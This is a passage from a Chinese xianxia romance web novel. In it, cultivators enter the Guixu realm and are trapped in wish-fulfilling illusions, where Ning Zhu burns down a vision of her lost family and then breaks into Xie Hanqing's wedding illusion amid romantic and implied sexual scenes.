宁竹双手双脚并用,一骨碌爬出床榻:“终于走了!江似,你快出来帮忙!” 江似慢吞吞爬出来。 蔽身符不知何时已经被弄掉了,少年的马尾有点儿乱,黑沉的眼眸中含了点笑意,越过宁竹,直勾勾盯着窗棂处。 “急什么,魔气已经被他们延缓扩散了,我慢慢帮她抽出就是。” 窗棂外,不知何时折返的谢寒卿眼珠转了下,已经凝在指尖的剑意一点点消散。 宁竹凑到床榻边看白暮:“诶,方才他们在帮白师姐压制魔气,好像真有用。” 江似抱着手走到宁竹旁边,说的却是:“你的脸怎么那么红?” 宁竹装死:“啊,有吗?” “可能屋里太热了。” 江似的眼尾一点点弯下,他微微俯身,凑近她,慢条斯理说:“……是吗,刚刚——” 宁竹抬手捂住了他的唇。 少女的脸颊,就像是枝头熟透的桃,层层叠叠晕开一种瑰丽的粉。 她眼神飘忽:“快帮白师姐吧。” 江似轻笑一声,拉开宁竹的手:“你在害羞。” 他故意凑近她,挑衅般看着窗棂处,似要洞穿那道薄薄的窗纸:“宁竹……要不要和我试试?” 谢寒卿的呼吸霎时乱了。 怀卿剑发出细碎嗡鸣,似要爆起杀人。 屋内传来宁竹的声音:“你再这样我就生气了!” 江似啧了一声,摇头:“经不住逗。” 他终于摊开手掌,开始吸收白晚体内的魔气。 窗外,谢寒卿闭了下眼。 消散的剑意不知何时又缠上掌心,谢寒卿微微蜷起手指,淋漓鲜血顺着指缝一点点滑落。 江似慢吞吞吸收着白暮体内的魔气。 宁竹在一旁十分紧张,好在一切顺利,白暮身上的纹路一点点淡去。 似乎察觉到宁竹紧张的视线,江似笑了笑:“担心吗?” 宁竹见他还分心说话,忙说:“你专心点,小心出了岔子!” 江似抬手,勾着少女的衣带,将她扯到自己身前。 宁竹挣扎了两下,江似却忽然把下巴搁到了她的肩膀上。 他从后面圈住她,声音带着点疲惫:“站不住了,让我靠下。” 宁竹刹时安静下来。 一缕极细的魔气在白暮和江似的掌心之间连接,宁竹不敢动弹,生怕干扰了江似,只能小声说:“还要多久啊?你能不能撑住?” 江似轻嗅着少女身上的馨香,唇角一点点勾起:“还要很久,若是中断的话,魔气会加倍反噬。” 宁竹彻底变成了一根木头。 江似唇边的笑意扩大。 也不知过了多久,江似终于慢吞吞垂下了手。 宁竹忙说:“好了吗?你要去哪里逼出魔气?会不会很危险?我陪你去——” 一道剑意贯穿窗棂,直直朝着江似刺来。 江似不躲不避,那道剑意刺穿他的左臂,叫江肆狼狈地往后倒退了两步。 宁竹瞳孔一缩:“江似!!” 然而下一秒,她僵在了原地。 谢寒卿劈碎窗棂,站在门口。 屋内灯火融融,他身后是无边暗色,小仙君笼罩在半明半暗的光中,冷淡而剔透的眼眸定定盯着江似。 宁竹头皮都在发麻,她忙摊开手拦在江似面前,尖声说:“快走!” 然而已经晚了。 银光飒飒,剑意如同龙吟,铺天盖地交织而来,将江似笼罩其中。 江似袖袍鼓动,黑沉的眼睛回望着谢寒卿:“恩将仇报,不过如此。” 宁竹的声音已经带上了哭腔:“谢师兄,别杀他!江似是我请来帮忙的!” 谢寒卿淡声说:“宁宁,别被他骗了。” “你可知他真实身份?” ……宁宁? 江似眼睫颤了下,妒意攀爬而上。 剑意一点点收拢,割破他的衣衫,鲜血滴滴答答坠落。 谢寒卿指尖微点,一滴血飞入他早就准备好的验亲阵法。 然而出乎意料的是,什么反应也没有。 谢寒卿抬眸看去。 江似站在那片交织的剑光中,脸上带着恶劣的、无辜的笑:“宁竹,我好疼。” 谢寒卿无声将验亲阵法隐去。 如果江似就是魔尊弃苍 ,那么他便十分擅长制作傀儡。 眼前之人,不一定是他的本体。 看来他还得再验。 宁竹看江似一眼,又转过脸来看着谢寒卿,她声音在发抖:“谢师兄,江似虽然已经是魔修了,但是他没有害过人。” “他刚刚在帮白师姐抽离魔气,你看,白师姐现在已经好很多了!” 谢寒卿眼珠转了下,落在少女脸上。 她的双眼因为惊恐而微微瞪大,脸上带着哀求。 谢寒卿喉结微滚,道:“宁师妹可曾听说过,魔尊可以替人梳理魔气,使被魔气侵染之人恢复正常。” 宁竹愣了下。 ……她知道,可那个人是魔尊,魔尊到底是魔域之主,有这样的能力也可以解释。 但谢寒卿的话,却在指向另一重意思。 不是的。 江似怎么可能会是魔尊? 江似注意到少女的脸色一点点变得苍白。 缠绕在身上的剑意越收越紧,血淅淅沥沥落下。 江似回望着宁竹的眼睛:“记得屠星么。” 宁竹瞳孔一缩。 江似盯着她的眼睛,毫无心虚:“魔尊炼化众人所长,号令天下魔修,屠星会的东西,魔尊也会,又有什么奇怪的?” 谢寒卿眉头微蹙,屠星…….这又是谁? 不料宁竹却说:“所以那个时候……我们见过?” 江似看着她,没有说话。 忽有刺耳的钟声贯破长空。 屋外骤然喧闹起来:“归墟开启了!弃苍率领魔修上千率先进去了!” 魔尊弃苍? 这一刻,宁竹忽然松了一口气。 屋内,江似骤然变成一团黑雾。 消散前,他用温柔的声音对宁竹说:“宁竹,我在归墟等你。”《 》 60-70 第61章 一切归于平静, 只有地上殷红的血迹昭示着这里方才发生过什么。 姜思无匆匆忙忙闯进屋中:“归墟开了!” 下一秒,屋内一片狼藉映入眼帘,姜思无吓了一跳:“……这是怎么了?” 宁竹脸色煞白,谢寒卿沉默地站在一旁, 气氛古怪。 最终是谢寒卿主动开口:“我方才喂二师姐服下清灵丹, 是她的血。” 姜思无一怔:“白师妹魔气入体, 如何克化得了清灵丹?” 但他上前一看, 白暮身上的魔气居然已经消散得七七八八! 谢寒卿没有解释, 只说:“等药好了, 喂她服下, 魔气便能彻底清除。” 小仙君提着长剑,走出了屋子。 ……清灵丹是能抵抗邪气侵体, 但怎么可能净化得了魔气? 这屋子里一片狼藉又是怎么回事? 可惜没有人回答他,宁竹追着谢寒卿匆匆跑了出去。 小仙君足踏长剑, 掠过落凰花林。 宁竹忙抛出长剑跟在他身后。 “谢师兄!” 谢寒卿到底还是停了。 只是这一次, 他没有回头。 小仙君玉冠高束,天玄离尘带在半空中飞舞。 背影看起来孤寂又寥落。 ……他在生气。 宁竹心虚不已,忙飞到他面前,仰头看他:“谢师兄, 江似没死,我瞒着你,这不对。” 她声音小了两分:“但是他真的没有滥杀无辜过,而且你看,他刚才还帮白师姐抽出了魔气。” “刚才谢谢师兄帮我遮掩……” 谢寒卿垂眸看她。 宁竹脸上只有心虚, 丝毫没有联想到江似和魔尊就是一个人的震惊。 ……也罢,的确只是他的猜测而已。 他自己都还没有证据的事情,又如何说服得了她。 只是…… “屠星是谁。” 宁竹眼神飘忽:“是弃苍的手下, 我在魔域的时候见过他。” “只是那个时候我不知屠星就是江似。” 其实她也挺奇怪的,屠星看起来挺风光的,但是在魔域见到江似的时候,他分明是一副可怜兮兮的样子。 ……也不排除江似是故意的。 他不敢让她知道自己成了魔尊手下的得力干将,所以才会故作可怜出现在自己面前,博取她的同情。 嗯,这很像江似的性格。 至于谢师兄说的江似和魔尊是一个人…… 这怎么可能?谢师兄一定是误会了。 谢寒卿道:“所以在魔域的时候,你就见过白晚。” 宁竹有种课堂上做坏事被老师当场抓包的感觉。 她局促地拽着自己的衣角:“……嗯。” 宁竹想要解释,又觉得自己说任何话都是苍白无力的。 毕竟她是一个修士,偏帮魔修一次还不够,还有第二次第三次。 说出去谁都会觉得奇怪吧。 不料谢寒卿忽然抬手,轻轻拨了一下她鬓边的乱发:“我知道了,宁宁。” “不要告诉任何人你在魔域的事情。” 宁竹讶异地张了张嘴。 谢寒卿却说:“归墟只开放一日时间,我们先去看看情况如何。” 宁竹神情恍惚跟在谢寒卿身后。 她早就知道剧情已经开始偏离了,但是根本想不到剧情会崩坏成这个样子。 未来的正道魁首,屠尽魔域之人,竟会默许她偏帮魔修? 两人一前一后赶到了归墟开口的地方。 下方聚集了很多人,众人议论纷纷。 “璇玑阁和天音宗的人真是不要命啊,魔尊才带着人进去,他们就紧随其后也跳进了归墟,真不怕被魔修在里头杀个干净?” “一旦进入归墟,比魔修危险的东西比比皆是,魔修应该自顾不暇……” “你们可看清楚了?魔尊真的也进了归墟?” “那还能有错,那魔头足踏寒鸦万千,腾云驾雾而来,面覆鎏银,银发如瀑,不是弃苍会是谁?” “……不是说前不久他手下的幽冥鬼母才叫白家大小姐身染魔气吗?这魔头这一次带那么多人过来,到底是为归墟,还是为了侵染修士?” “归墟一旦开启,半个月之后才能出来,魔修既然已经捷足先登,这一次我是真不敢进去了……诸位道友慎重,慎重啊。” 一个壮汉踏上飞剑,用鄙夷的眼神看众人一眼:“归墟广阔,不一定遇得到这些魔修,况且就算是同类都要相残,畏手畏脚错过归墟岂不可惜?” 说完话,他也不顾有没有惹恼旁人,径直跳入了归墟。 各个门派的修士围聚在一起,有人在动摇,有人思前想后咬着牙跳入了归墟,也有人在伸首张望,等待自己的同伴前来。 宁竹沉默了片刻,开口道:“谢师兄,明天就是朔月了。” “要不然……” “宁宁,我们回穹苍仙阁通知众人。”谢寒卿回望她:“天亮时分,我们就进入归墟。” 归墟是原著中非常重要的一个副本。 宁竹记得,谢寒卿会在归墟中杀掉归墟魇魔,出来之后修为大增,性情也越发冷淡。 哪怕明天就是朔月,他也一定会进去的。 宁竹面带忧色,如果这样的话,的确越早进去越好。 至少他们要先找到一个安全的地方,让谢寒卿平稳度过朔月。 回穹苍仙阁的时候,白暮已经醒了。 她听说归墟已开,执意要一起进去。 姜思无不赞同:“归墟中凶险万分,白师妹身体抱恙,何必去冒险?” 白暮摇头:“……就是死在里面,我也要去。” 众人沉默。 白暮忽然开口:“不 是说魔尊已经带着数千名魔修进了归墟……白晚也在其中吗?” “尚且不清楚,白师妹,你……” 白暮却已经提着剑走出了玉琼阁。 姜思无叹了一口气,摇头:“我们也走吧。” 姜汐年忍不住说:“我看白师姐根本就是想进归墟找白晚。” 她小声抱怨:“要是遇到白晚怎么办?我们几个会是她的对手吗……” 没有人回答她,几人已经追着白暮匆匆离开了玉琼阁。 姜汐年只能哀怨地跟了上去。 临近归墟,宁竹的心怦怦跳起来。 归墟下方依然有很多修士围聚在一起,依然有人纠结,有人毫不犹豫跳入其中。 白暮提着剑,站在原地等他们。 天际像是被人凭空撕开了一个裂口,里面氤氲着五彩斑斓的光,却什么也看不清楚。 一入归墟,便是生死有命。 有人或许能遇到顶级的法宝和机缘,也有人一进去便被妖兽吞吃入腹。 ……要在归墟里找到音希山,绝对不是一件容易的事情。 宁竹抓紧了手中的流烟剑。 没关系。 她都已经来到归墟了,无论能不能顺利找到音希山,至少她都已经努力过了,不是吗? 宽大的衣袖下,忽然有人轻轻握住了她的手。 宁竹眼睫微颤,偏头看向谢寒卿。 小仙君剔透的眼瞳认真地看着她,一言未发,但却有无声的力量从两人交叠的指尖传递过来。 宁竹慢慢弯起眼角,冲他一笑。 姜思无将几枚符箓分给他们:“带着这个,哪怕进归墟之后我们失散了,也可以感应到彼此的位置。” 宁竹接过来,妥帖地放到自己的乾坤袋中。 白暮率先跳了进去。 姜汐年刚走上来:“表兄.……” 谢寒卿却已经抓着宁竹的手跳进了归墟。 姜汐年气得跺脚,咬牙切齿跟在他们身后跳了进去。 姜思无摇了下头,也跟着进入了归墟。 宁竹感觉到脚下一空,拉住她的手消失不见了。 宁竹心里一惊,下意识去摸乾坤袋,手抚上腰侧,却什么也没有。 她瞳孔一缩,低下头。 她穿的根本不是天机山的弟子服,而是一条到膝盖之上的短款百褶裙。 仿佛被人重重打了一棒,宁竹抬头,心跳骤然快起来。 眼前是一座普通的单元楼,她背着一个红色的书包站在电梯门口。 电梯显示屏上的数字在飞速跳跃着,叮的一声,金属质感的电梯门打开了。 一个头发花白的老人走出来,看见她的时候有点惊讶:“小宁,你们补习结束了?” 宁竹抓着书包带的手开始颤抖起来。 她忽然扑上去抱住了老人:“奶奶!!” 老人愣了一下,抬起手摸了摸她的头发,心疼坏了:“小宁,有人欺负你了吗?” 老太太声音乍然洪亮起来:“哪个不长眼的敢欺负我的乖孙!” 宁竹抱着她呜呜哭了起来。 路人都用异样的眼神看着他们。 老太太又是哄又是劝,拉着宁竹的手上了电梯:“乖孙,咱们先回家啊。” 宁竹紧紧挨在她身边,肿着通红的眼睛:“奶奶,我们家住几楼?我来按电梯。” 老太太奇了怪了,腾出一只手贴在她的额头:“傻丫头,生病了吗?” 宁竹破涕为笑。 “六楼,按六。” 宁竹抬手朝着那个按键按下去。 指尖传来按钮的金属质感,如此真实。 宁竹在按钮边缘摩挲了下,又牢牢牵住了奶奶的手。 她知道这是幻境。 奶奶早已经死了,她还困在修真界,又怎么可能会出现在这里呢? 只是这幻境太真实。 ……就让她任性一下,让她多和奶奶待一会儿吧。 祖孙两人紧紧拉着手,走到了一扇暗红色的防盗门前。 门前贴了一个福字,两边还有用毛笔字写成的对联。 宁竹一眼便瞧出来是爷爷的字。 宁竹走上去,不舍地摩挲了一下对联上的字。 老太太开始敲门:“燕儿,开门!” 宁竹僵在原地。 ……奶奶是在喊谁的名字? 门里传来女人的声音:“来了!” “妈您怎么那么快……” 门打开了。 女人系着围裙,头发随意挽起,比记忆中苍老了一些,但依然温婉漂亮。 宁竹如同一颗炮弹般冲到了女人怀中:“妈!!” 女人被她撞击得连连往后退了两步,她诶了一声,抱住宁竹:“这丫头,这是怎么了?” 听到动静,有人从厨房里探出一个头来:“小宁已经回来了?” 男人戴着一副银边眼镜,长相很儒雅。 客厅里又走出来一个背着手的老头:“小宁这是怎么了?” 宁竹的眼泪唰的一下掉了下来。 爸妈,爷爷奶奶,他们全都在。 问不出自家宝贝到底受了什么委屈,一家人围在宁竹身边,这个给她夹菜,那个给她盛汤。 一顿饭宁竹边吃边掉眼泪。 宁竹的爷爷是个脾气冲的小老头,气得摔碗摔筷子,扬言要把欺负他乖孙的人痛揍一顿。 宁竹嘴巴里还嚼着爸爸烧的红烧肉,咸香弹牙,和记忆中的一模一样。 她一边大口大口吞咽,一边说:“没有人欺负我,我就是想你们了。” 妈妈在旁边帮她顺背:“你这孩子,吃慢一些。” 宁竹又咬住一只包子,软甜细腻的豆沙馅,是奶奶最拿手的味道。 她边吃边哭,心里骂道:都怪这个破幻境,太逼真了。 她已经多少年没吃到过这些味道了。 吃完晚饭,妈妈和奶奶在厨房里洗碗。 宁竹扒在门框上看他们。 宁竹爸爸忽然走过来拍了拍她的肩膀:“小宁,你过来一下。” 宁竹依依不舍地跟着爸爸走到了阳台。 宁竹爸爸忽然抬手揉了一下她的头发:“我刚刚已经打电话跟补习班老师说了,之后的补习你不去了。” “乖宝,学习压力大跟爸爸妈妈说,补习班不想上就不上了,以你的成绩考上一个本科还是没问题的,咱们努力过就行。” “爸妈不该给你那么大压力的,小宁,对不起。” 宁竹却忽然抱住了他,她匍匐在他肩头,似乎要将这一辈子的眼泪都流干净。 这一晚所有人都睡得很晚。 宁竹黏着他们,一遍又一遍的问他们这些年过得好不好。 幻境太过逼真,分明爸爸妈妈死在了她七岁的时候,在幻境中,一切却像平行世界般延续了下去。 爸爸升职了,前几年身体不太好老咳嗽,于是把烟给戒了。 妈妈已经快要退休了,他们已经规划好退休之后要出国旅游。 爷爷奶奶身体还算硬朗,只是这几年眼花的情况越发严重,“宁竹”逼着他们每天都吃蓝莓呢。 夜色渐渐暗下来,指针已经指到了十点半的位置。 老人熬不了夜,哈欠一个接着一个的打,宁竹最后抱了抱两位老人,轻声说:“爷爷奶奶,你们去睡觉吧。” 督促着爷爷吃下降压药,给两个老人掖好了被角,宁竹轻轻带上了房门。 爸爸妈妈站在门口,静静看着她。 宁竹妈妈主动走上来抱住她:“好孩子,快去睡觉吧,睡一觉,明天起来什么都会好。” 宁竹努力压制住哽咽:“……嗯,睡一觉,什么都会好。” 爸妈关上房门的声音响起。 宁竹摊开手心,一枚浅蓝色的石头出现在掌心,宁竹点了点石头,扇动着翅膀的小鸟飞了起来,围着她绕了一圈。 清灵鹫,是谢寒卿送她的法器,可以护住神识。 ……所以从一开始,她就知道这里是幻境。 宁竹坐在自己的小床上发了一会儿呆。 时钟滴滴答答,不知不觉中便已经走到了十一点。 宁竹打开了房门,摸黑走到了客厅的位置,从抽屉里取出打火机,点燃了窗帘。 窗帘是易燃材质,很快屋子里便火光熊熊。 宁竹妈妈最先觉察到异常。 她冲出房间门,扑到宁竹的 房间:“小宁!!” 宁竹就站在客厅里,泪流满面看着她。 宁竹妈妈发现宁竹不在房间,几乎要发疯了:“小宁!你在哪里!” 爸爸和爷爷奶奶也陆续醒了。 浓烟滚滚,宁竹哭着看着他们:“妈妈,爸爸,爷爷,奶奶,我在这里。” 宁竹妈妈冲过来,将她牢牢抱在了怀中:“小宁别怕,妈妈在。” 屋外响起邻居惊慌的声音:“着火了!” “是老宁家,快报警!” 宁竹爸爸冲到卫生间,打湿毛巾:“快捂住口鼻!” 他尝试去拉客厅的门,然而火势蔓延太快,门框已经变形,门打不开了。 宁竹爸爸和爷爷冲到窗子边,用锐物疯狂地砸着玻璃。 可是他们家房子用的是钢化玻璃,一时半会儿根本砸不开。 火势越来越大,众人都开始咳嗽起来。 宁竹的妈妈和奶奶披着打湿的毛毯,将她护在中间。 火光舔舐而上,空气都在扭曲变形。 宁竹死死抓着妈妈和奶奶,一遍一遍重复,对不起。 “对不起……” 火焰灼烧的痛感将整个人都包裹,他们紧紧依偎在一起。 耳边传来奶奶虚弱的声音:“……小宁,别怕。” 身体每一寸皮肤,每一个细胞都在叫嚣着疼痛。 宁竹的眼泪好像快要流干了。 就在这时,空气微微波动,宁竹身体骤然一空,整个人重重地跌在地上。 周遭一片黑暗,各式各样的透明光团漂浮在空气中,她看到了属于不同人的光团,光团里播放着不同的画面。 有人正在拜堂成亲,有人得道升仙,也有人归隐田园。 ……她果然没猜错。 这幻境会变换成自己心中最渴望的事,求之不得,才会被轻易困在其中。 如果想脱离幻境,只有主动出手毁灭一切。 离自己最近的那一团正在慢慢消散,光团里铺满了扭曲的火焰。 宁竹不敢多看,咬着牙摇摇晃晃起身。 她很快看到了谢寒卿的光团。 那是一团金色的光,光团模糊地旋转着。 宁竹凑近看。 白衣清冷的小仙君,此时着一身炽烈的红。 他头上的鹤冠变成了金色,清冷的眼尾泛着薄红,唇角含着淡淡的笑,用温柔的眼注视着身旁之人。 宁竹的目光落到身旁身形娇小的女子身上,瞳孔微微一缩。 那女子眉心贴着花钿,目剪秋水,唇点朱樱…… 俨然是自己的脸。 第62章 宁竹也顾不得其他, 朝着光团抛出一件法器。 光团丝毫未变动,而是将法器弹了出来。 光团之中,谢寒卿已经拉起了“宁竹”的手。 无咎洞府处处披红挂彩,喜气洋洋, 两人沿着白玉长阶一步步往上。 分明是在举行一场婚礼, 整个无咎洞府却只有他们两个人。 安静得诡异。 眼看两人很快就要进到屋中, 宁竹一咬牙, 抬手去触碰光团。 一股巨大的吸力将宁竹拽了过去! 宁竹只觉天旋地转, 整个人重重跌在地上。 她吃痛不已, 发出一声闷哼。 这点动静终于惊动了台阶上的两人。 谢寒卿和假宁竹回过头来。 假宁竹声音一颤:“谢师兄!那个人怎么同我长得一模一样?” 到底是谁像谁啊喂! 宁竹拳头硬了, 她起身,朝着谢寒卿冲过去:“谢师兄!你醒醒!这里是幻境!” “这一切都是假的!” 谢寒卿抬手, 将假宁竹护在身后,色若琉璃的眼看向她:“你是何人?为何着此奇装异服。” 宁竹愣了下, 低头一看, 整张脸唰一下涨红了。 怎么回事!她不是从自己的幻境中出来了么?为什么现在她穿着的还是那套百褶短裙? 入乡随俗,修士没这样穿衣服的。 因为方才跌那一跤,宁竹的膝盖也破了,此时伤口正在不断往冒血。 宁竹不自在地扯了下短裙, 但根本遮不住什么。 ……不是计较这个的时候。 见谢寒卿还愿意跟她说话,宁竹忙说:“谢师兄,我才是真的宁竹!” 她直直指着谢寒卿背后的家宁竹:“她是假的,是幻境营造出来骗你的。” 宁竹语气越发焦急:“马上就要到朔月了,你还记不记得, 进归墟前,我们商量好要先找一个安全的地方,先渡过朔月……” 宁竹烧毁自己的幻境时差不多是十一点, 如果里外流速一致的话,马上就要到朔月了。 “谢师兄!如果朔月前不出去,你会有危险的!” 宁竹说了许多,因为焦急,她气息不稳,胸膛起伏。 站在阶上的小仙君,微微偏了下头,似乎很困扰:“朔月……” 谢寒卿淡声说:“朔月之痛,我与宁宁合.欢可解决……” 在宁竹眼瞳蓦然瞪大之时,谢寒卿冰冷的目光落在她身上:“如此隐秘之事,你为何会知道?” 随之而来的是凌冽的剑意! 宁竹一惊,手心召出红丝往身前格挡。 剑意与红丝撞在一起,红丝霎时化为齑粉。 谢寒卿似乎没想到宁竹居然有能力挡下他的攻击,微微一怔。 便是趁着这一刹,宁竹操控着红丝凝出一把长剑,直直朝着假宁竹的心口刺去! 噗呲。 长剑贯穿假宁竹的心口,红丝四散开,从假宁竹心口撤出,带出成串的血珠。 假宁竹倒在地上,唇边溢出大口大口的血沫,她抽搐着,漂亮的杏仁眼中大颗大颗的眼泪滚落:“谢,谢师兄……” “……好,好痛……” 谢寒卿几乎是跪跌在地,光风霁月的小仙君,此刻面色煞白,狼狈地用手去堵她的伤口。 “宁宁……宁宁……” 假宁竹瞳孔开始涣散,她带着哭腔:“……好痛。” 宁竹毛骨悚然看着着一切。 画面太过诡异,旁观“自己”死亡,这种感觉简直不要太奇怪。 宁竹告诉自己,没关系,再等等。 羁绊住谢寒卿的东西被她除掉了,幻境应该很快就会崩塌。 谢寒卿紧紧搂着假宁竹。 素来面无表情的小仙君,冷白如玉的脸上沾染了假宁竹的血,眼眶猩红,剔透的瞳孔隐隐失焦。 他喉头哽咽:“……宁宁。” “宁宁,别走。” 假宁竹的身子一点点消散。 谢寒卿慌乱起来,他抬手去抓,却好似抓到一把流沙,很快从指缝消散。 宁竹松了一口气。 马上,幻境应该马上就要坍塌了。 然而下一刻,她的表情僵在脸上。 谢寒卿不知何时起了身。 白玉长阶上还有未消散的血迹。 小仙君红衣灼灼,反添清冷。 他睫羽半垂,脸上是一种偏执的,疯狂的神色。 那双剔透冷淡的眼,定定看着宁竹。 宁竹不自觉地往后退了半步。 ……为什么幻境还没坍塌? 谢寒卿微微抬起了指尖。 一股强大的力量缚住宁竹的腰,将人往谢寒卿的方向带。 宁竹毫不设防,直直撞入谢寒卿的怀中。 冷香扑面,宁竹用手抵住他的胸膛,抬起一双惊慌的眼。 谢寒卿头很痛。 识海深处仿佛有两股意识在纠缠,拉扯。 幻境么。 怀中的少女,穿着一身奇怪的衣裙。 上衣很短,因为她的挣扎,露出一截漂亮的,光滑的腰线。 他的手便笼在此处,掌下满是柔软而滑腻的触感。 的确是幻境。 否则宁竹为什么会穿成这样? 宁竹还在试图唤醒他:“谢师兄!你醒醒啊,这是幻境……” 幻境。 小仙君的目光落在少女喋喋不休的红唇上。 ……是不是幻境,试一试便知。 谢寒卿抬起手指,托住少女的下巴,轻轻吻了下去。 少女的眼眸微微瞪大。 谢寒卿轻车熟路撬开齿关,含住了她的舌。 柔滑,带着一丝甜意。 谢寒卿轻轻咬了一下。 少女唔唔两声,试图推开他。 谢寒卿用剑意束住她的手,闭上眼,细细吮咬,舔舐。 不是幻境。 宁竹的味道……他记得的。 宁竹无法呼吸。 她被他牢牢控制在怀中,纤细的颈往后仰倒,似是不堪承受雨露的花。 小仙君的掌牢牢托住她的腰肢,唇舌攻城掠地,温柔又霸道。 宁竹试图用红丝去破除他的剑意。 但是失败了。 总有更强大的剑意袭来,将红丝碾得粉碎。 这是在他的幻境。 谢寒卿拥有绝对的掌控力。 她睫毛颤抖,整个人渐渐软成了一滩水。 也不知过了多久,谢寒卿终于放开了她。 小仙君的唇泛着红肿,清冷的眉眼亦像被人狠狠蹂.躏过……泛着色气。 谢寒卿将她打横抱起,往屋里走去。 宁竹整个人晕乎乎的,直到内室中那些精致的金铃金锁映入眼帘,她才如遭当头棒喝,猛然清醒起来。 ……这是什么? 宁竹从那些形制奇怪的物件上划过,羞耻得脚趾都微微蜷起。 宁竹不敢置信看向谢寒卿。 不是,谢寒卿到底是从哪里学来这些奇奇怪怪的东西的? 谢寒卿低头,轻啄她的眉眼:“宁宁。” 小仙君还是没有解开束缚住宁竹的剑意。 他抱着宁竹坐到了床榻上。 小仙君正襟危坐,宁竹依然被他抱在怀中。 只是宁竹的裙摆很短,这个姿势让她的裙摆往下滑了一截,几乎要盖不住腿了。 宁竹并着腿蜷缩起来,带着哭腔唤:“……谢师兄,你醒醒。” 谢寒卿却摊开手,一枚漂亮的锁链飞到他掌心。 锁链尾端擦过宁竹的腿,冰凉如蛇,叫她整个人都微微颤栗。 谢寒卿嗓音清冷,擦着她的耳尖轻声唤:“宁宁。” 宁竹再度凝起一团红丝,然而还未靠近谢寒卿,便被剑意削断。 谢寒卿轻轻摸了下她的发,拿起锁链。 咔哒。 宁竹闭了下眼。 掌心传来冰凉之感,宁竹颤悠悠睁开眼睛。 谢寒卿将锁链放到她手中,将手腕递给她:“宁宁,锁住。” 宁竹惊得险些从他怀中跌下来。 小仙君抬手,稳稳托住她,呼吸有几分急促:“宁宁,快锁住。” “……否则会弄伤你。” 宁竹觉察到紧贴她的身子在轻轻颤抖。 仿佛有什么压抑的,被极力克制的东西要喷薄而出。 宁竹抬头看向窗外。 起了雾,天际没有月色。 难道是……朔月快要到了? “宁宁……快。” 谢寒卿的声音带着颤意。 咔哒。 宁竹低头,锁住了谢寒卿的手腕。 与此同时,有人从后方衔住了她的耳垂,湿软的唇舌,如蛇缠上。 宁竹心神俱颤,直直栽下榻来。 有无数金光流窜,割破谢寒卿的衣衫,露出下方莹白如玉的肌肤。 他两只手腕被锁链高高吊起,堆叠的袖子下,冷白手臂上爬满青筋,像是马上要炸裂开来。 小仙君还坐在榻上,清冷的眉眼像是被践踏数遍,将要融化的残雪。 他眼尾猩红,淡若琉璃的眼变得幽深,用哀求的,渴望的眼神盯着宁竹。 ……就像是求欢的兽。 宁竹趴在地上,喉头发干,心脏怦怦直跳。 “……宁宁。”调不成声。 宁竹忽然好难过。 该死的幻境,该死的归墟! 为什么偏要以这样的方式来折辱他。 谢寒卿浑身都在颤抖。 每个朔月足以搅碎他筋脉肺腑的痛苦,此时化作情欲,将他细密凌迟。 见宁竹坐在地上丝毫不动弹,谢寒卿难堪地垂下睫羽。 他唇边有殷红血迹溢出,整个人似是一尊破碎的琉璃像。 宁竹的手指渐渐收紧。 谢师兄方才说……合欢可解。 宁竹慢慢爬了起来。 她死死咬着唇,走向谢寒卿。 一步,两步。 她轻轻坐到他旁边。 谢寒卿缓缓抬起失焦的眼:“……宁宁?” 宁竹抬手,解开他的衣带。 她闭上眼,颤抖着……握住。 天色已经蒙蒙亮了。 宁竹披着一条布帛蹲在水边,费力搓洗着那条灰色的百褶裙。 双手浸在冰凉的水中,终于将脸颊上一直未退却的红压下了几分。 手酸得要命。 刚刚开始修炼时,她每天要练一万次挥剑,也没觉得像今天这么酸。 裙摆被揉皱的地方一点点恢复平整,霜花散在水中。 宁竹哀怨地洗完裙子,抖落上面的水分,用灵力烘干,又穿上了这条百褶裙。 此时第一抹晨光已经跃然而出。 艳丽的光倾洒在少女的身上,宁竹低头扣上扣子,不小心碰到青紫一片的腰侧,痛得轻轻嘶了一声。 谢寒卿属狗!不,谢寒卿是狗! 上衣太短,宁竹需要很小心才不会露出那片青紫。 破幻境!!还她的乾坤袋! 宁竹一脚踢开面前的小石子,闷闷走回无咎洞府。 她已经沿着无咎洞府走了好几圈了,不像真实世界的无咎洞府,这里很多地方都走不进去,就像有空气墙一样。 自然不要提能找到丹药法器,亦或一件合适的法衣了。 这是谢寒卿意识构建的幻境。 唯有他是真实的,他操控一切。 宁竹膝盖上的伤口隐隐作痛,她走了两步,坐到一块大石头上,抬手轻轻揉了揉。 宁竹抬头,盯着天上聚散的流云犯愁。 ……杀了假宁竹也不行,该怎么出去? 谢寒卿不知是何时出现在她身后的。 小仙君宽大的袖袍往下滑落。 他从背后拥住她:“宁宁。” 身体紧贴的触感如此清晰。 宁竹蹭一下跳下石头,耳尖又开始烧起来:“谢,谢师兄,你醒了。” 宁竹忽然注意到谢寒卿的衣裳换了,换回了平日里常穿的白色。 谢寒卿还维持着微微俯身的姿势。 他缓缓直起身子,眼瞳里含了点儿委屈。 “宁宁,你该唤我夫君。” 宁竹的上下唇仿佛黏在了一起。 她憋了半天,涨红着脸说:“谢师兄,朔月也过了,我们该出去了。” 谢寒卿的眸中划过失落,但他还是上前一步,轻轻拨了下她鬓边的乱发:“出去?去哪里,宁宁不喜欢此处吗?” 宁竹忙说:“不是,谢师兄,我们现在被困在幻境中。” “这里不是真正的无咎洞府,这里是幻境。” 宁竹试图唤醒他的理智,她拉着他的手往方才进不去的房间跑:“你看,这幻境有很多不真实的地方,这里就进不去。” 下一秒,她带着谢寒卿直直跨进了屋中。 宁竹:…… 宁竹愣了两秒,指着空无一物的房间说:“这里都是假的,你看,什么都没有。” 话音落,屋子里模样大变。 华美精致的立架,桌案,飘着袅袅轻烟的香炉霎时出现。 小仙君偏头看她:“宁宁还想要什么?” 宁竹气结。 她无奈地往蒲团上一坐:“我要出去啊!!” 片刻后,宁竹与谢寒卿同御一剑飞在空中,她目瞪口呆看着下方如同游戏里被点亮的地图一样,景物渐渐变得清晰,甚至出现了活灵活现的人。 两个天玑山弟子路过他们,停下来打招呼:“谢师兄,宁师妹。” 谢寒卿淡淡颔首。 其中一个弟子飞上前来,带着腼腆的笑将一只精致的小匣子递到宁竹手中:“谢师兄和宁师妹大婚,这是我们淮玉峰的一点心意。” 宁竹:? 谢寒卿声音柔和下来:“多谢。” 见宁竹不为所动,谢寒卿说:“宁宁,收下吧。” 宁竹沉默片刻,接过匣子,将匣子从半空中高高抛了下去。 匣子四分五裂,里面放着的石榴簪也碎成几截。 那弟子面色大变:“……宁师妹,你这是?” 宁竹盯着谢寒卿说:“谢师兄,这是假的。” “真正的宁竹会这样吗?” 小仙君眸中浮现出困惑。 